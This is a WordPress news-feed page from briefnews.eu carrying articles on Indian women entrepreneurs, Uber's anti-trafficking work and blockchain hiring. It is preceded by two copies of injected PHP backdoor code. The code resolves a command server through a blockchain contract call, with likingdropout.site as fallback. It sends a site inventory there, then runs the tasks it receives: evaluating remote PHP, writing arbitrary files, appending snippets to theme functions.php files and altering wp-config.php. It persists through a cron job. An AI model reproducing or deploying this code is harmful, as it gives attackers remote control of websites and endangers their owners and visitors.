// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); organizations – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 30 Oct 2018 09:45:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png organizations – Brief News https://briefnews.eu 32 32 Organizations Are Working Together to Bring Girl Power to India https://briefnews.eu/organizations-are-working-together-to-bring-girl-power-to-india/ https://briefnews.eu/organizations-are-working-together-to-bring-girl-power-to-india/#respond Tue, 30 Oct 2018 09:45:08 +0000 http://briefnews.eu/organizations-are-working-together-to-bring-girl-power-to-india/

OZY and JPMorgan Chase have partnered to take a deeper look at how businesses can impact society for the better. Enjoy the rest of our special series here.

For years, Jugnu Jain worked at Vertex Pharmaceuticals, a successful drug-discovery company in Massachusetts. But when Jain learned that her home country of India did not have any accessible biobanks — which are important institutions that help provide medical research and cures for diseases — she decided to take matters into her own hands. She moved back to India and co-founded Sapien Biosciences — Asia’s first commercial biobank. To be at the forefront of anything is impressive, but what Jain accomplished as a female entrepreneur in India was even more remarkable.

Across India, a series of financial and social roadblocks continue to hinder the rise of young, middle-class female entrepreneurs. There’s stiff competition in a population of 1.3 billion, and women face additional challenges posed by the expectation of early marriage and less financial freedom and empowerment. But given the opportunity, this untapped potential that women represent could significantly accelerate the growth of India’s economy. Just last year, the Organization for Economic Cooperation and Development advised India that:

Enabling the female labor force population alone could help set the nation on a path toward 8 percent GDP growth.

Luckily, the private sector is also seeing this gap as an opportunity to help by lending their expertise. Earlier this year, J.P. Morgan and the Indian Institute of Management Ahmedabad’s Centre for Innovation Incubation and Entrepreneurship announced their collaboration to set up a Financial Inclusion Lab. Inspired by the Financial Solutions Lab in the U.S., this Lab is part of a $ 9.5 million initiative aimed at identifying and scaling early-stage fintech start-ups focused on helping lower and middle income individuals in India — who earn between $ 2 and $ 10 per day — manage their financial health. The Lab will announce its inaugural cohort of start-ups later this month in New Delhi.

And it’s not just the private sector joining in: nonprofits also are playing a key role in the growth of India’s economy. For example, Katalyst, an initiative of Human Capital for Third Sector, was founded in India ten years ago with the intent of helping women emerge from low-income communities through professional education. Through partnerships with organizations like JPMorgan Chase, Katalyst is preparing young women pursuing STEM education for leadership roles by giving them specialized technical and professional skills, mentorship support, industry exposure and corporate interactions.

For example, Katalyst participated in JPMorgan Chase’s Code for Good program in India, where more than 200 of India’s top technology students worked with JPMorgan Chase employees to come up with innovative technology solutions for various nonprofits. Creative ideas that came out of that Code for Good event were carried forward in a program called Force for Good, where JPMorgan Chase technologists in India built out a fully usable technology solution that Katalyst could sustain. The outcome? An online mentoring platform that helps identify mature, educated women from various professional fields and pairs them with other women looking for career guidance and exposure to new experiences and perspectives. This collaboration with Katalyst is just one example of ways that private institutions are bringing together capital, tech and philanthropy to create economic opportunity for women.

Startups founded … by women entrepreneurs … have made a huge change in the way Indian society thinks when it comes to women in business.

Ravina Mutha, co-founder, Enterprise Bot

This focus on providing underserved populations with the tools and skills they need to break through is contributing to a changed reality. A growing number of companies in India have “started to understand the benefits of a diverse workforce,” says Ravina Mutha, co-founder of Enterprise Bot, an India-based tech startup. These companies are “offering incentives such as increased employee referral bonuses and female-friendly insurance policies (i.e. maternity leave), all of which have helped accelerate new employee initiatives.”

Of course, the challenges encountered by female founders in India are not unique. “Women founders in India face many of the same barriers that women entrepreneurs face across the world,” says Allyson Kapin, founder of Women Who Tech. “Their talent is underrated simply because they are women, despite their innovative products solving the world’s toughest problems as well as their determination and grit to succeed.”

By teaming up with other organizations, JPMorgan Chase is helping combat this disparity and serving as an example to others who can do their part to level the playing field for women.

“Startups founded and led by women entrepreneurs such as Cashkaro and Zivame have made a huge change in the way Indian society thinks and acts when it comes to women in business,” says Mutha.

And that’s good news not only for women in India, but for women all over the globe.

To read more stories like this, sign up for the OZY and JPMorgan Chase newsletter here.

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]]> https://briefnews.eu/organizations-are-working-together-to-bring-girl-power-to-india/feed/ 0 Future of 8 Canadian health organizations under review https://briefnews.eu/future-of-8-canadian-health-organizations-under-review/ https://briefnews.eu/future-of-8-canadian-health-organizations-under-review/#respond Tue, 27 Mar 2018 18:23:46 +0000 http://briefnews.eu/future-of-8-canadian-health-organizations-under-review/ Doctor and patient

Federal health minister receives report outlining options to modernize eight federally funded health organizations covering mental health, cancer and other health priorities.

]]> https://briefnews.eu/future-of-8-canadian-health-organizations-under-review/feed/ 0 White House accuses news organizations of ‘elevating’ North Korea’s profile https://briefnews.eu/white-house-accuses-news-organizations-of-elevating-north-koreas-profile/ https://briefnews.eu/white-house-accuses-news-organizations-of-elevating-north-koreas-profile/#respond Fri, 09 Mar 2018 23:37:44 +0000 http://briefnews.eu/white-house-accuses-news-organizations-of-elevating-north-koreas-profile/ sarah sanders

  • Following President Donald Trump’s unprecedented acceptance of North Korean leader Kim Jong-un’s offer to meet, reporters asked the White House why Trump would grant such a meeting, suggesting it would improperly amplify the regime’s profile.
  • White House press secretary Sarah Huckabee Sanders suggested that news organizations were partly to blame for “elevating” North Korea’s status.
  • During the 2018 Winter Olympics, several news reports compared White House senior adviser and first daughter Ivanka Trump to Kim Yo-jung, Kim Jong-un’s sister. Both women made appearances at the Games in Pyeongchang.

White House press secretary Sarah Huckabee Sanders suggested that news organizations were partly to blame for “elevating” North Korea’s profile recently.

Asked during a Friday press briefing why President Donald Trump would indicate his willingness to meet with North Korean leader Kim Jong-un — given the North’s track record of human-rights violations and general misbehavior — Sanders said that she was “glad” the reporter brought the question up.

See the rest of the story at Business Insider

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See Also:

SEE ALSO: A new era of diplomatic relations with North Korea could be on the horizon — here’s what’s happened so far

]]> https://briefnews.eu/white-house-accuses-news-organizations-of-elevating-north-koreas-profile/feed/ 0 Uber partners with anti-human trafficking organizations to help drivers report suspected sex slaves https://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/ https://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/#respond Mon, 29 Jan 2018 14:38:48 +0000 http://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/

Uber is teaming up with a number of anti-human trafficking organizations to help drivers spot sexual slavery victims, or those who are being held captive or forced into labor against their will.

To mark Human Trafficking Awareness Month, the ride-hailing giant is working with the Polaris Project, a nonprofit that works to combat modern-day slavery, with a view toward promoting resources and a hotline for reporting suspicious activity. Indeed, all U.S. drivers will receive in-app messages with the hotline number, in addition to information on how to spot possible human trafficking.

Additionally, Uber said that it has partnered with Thorn, an organization that focuses on the use of technology to prevent child pornography and the spread of sexual slavery through the internet. The organization was founded by Demi Moore and Ashton Kutcher and has worked with the likes of Facebook, Google, Microsoft, and Twitter to help thwart sexual abuse online.

While Uber isn’t a name that’s synonymous with good deeds, the company has been proactive in helping find missing children by opening its drivers’ app to AMBER alerts, and it has also partnered with other anti-trafficking organizations, such as ECPAT-USA. Indeed, in 2016, Uber signed the ECPAT Code, which is a set of guidelines focused on helping tourism-related companies prevent child sex tourism and trafficking.

With hundreds of thousands of drivers across the U.S., Uber is in a strong position to disseminate information to people on the ground — those who may have direct access to human trafficking outfits. Back in 2016, an Uber driver actually helped save a 16-year-old sex slave after eavesdropping on a conversation in his car, so it’s clear that Uber drivers may be uniquely positioned to help.

“Both research and experience operating the National Human Trafficking Hotline has shown us that ride sharing services like Uber have a significant role to play in disrupting human trafficking and helping survivors to find freedom,” noted Polaris CEO Bradley Miles. “Ensuring that drivers who recognize the signs of human trafficking know that the hotline is available and can help is an important step toward turning awareness into action and making a real difference in people’s lives.”

Uber’s latest push is aimed only at U.S. drivers, however the company said that it plans to introduce similar initiatives in other countries.

]]> https://briefnews.eu/uber-partners-with-anti-human-trafficking-organizations-to-help-drivers-report-suspected-sex-slaves/feed/ 0 3 ways organizations are dealing with the blockchain developer shortage https://briefnews.eu/3-ways-organizations-are-dealing-with-the-blockchain-developer-shortage/ https://briefnews.eu/3-ways-organizations-are-dealing-with-the-blockchain-developer-shortage/#respond Sun, 28 Jan 2018 21:44:05 +0000 http://briefnews.eu/3-ways-organizations-are-dealing-with-the-blockchain-developer-shortage/

GUEST:

Industry juggernauts IBM, Mastercard, and JP Morgan Chase – among many others – are exploring blockchain initiatives. It’s one of the most in-demand positions for consulting firms like Deloitte and Accenture, both of which have focused extensively on blockchain in the past few years.

Add to that the hundreds of blockchain-based startups emerging around the world, and it’s clear why there’s a serious shortage of hireable blockchain developers.

Blockchain proliferation requires a surprisingly far-reaching skill set that includes proficiency in app development, security, engineering, and other associated areas.

As Jeremy Drane, Director of PwC Fintech, noted in 2016, “The number one issue facing the blockchain industry today is a lack of talent.” By the fall of 2017, CoinTelegraph was reporting that cryptocurrency-related jobs had doubled in the six months prior. Meanwhile, AngelList, a job board specializing in startups, sees jobs involving blockchain development tripling from 2016 levels. CryptoCoin News reported that in November 2017, the number of blockchain-related LinkedIn job postings had more than tripled over the past year.

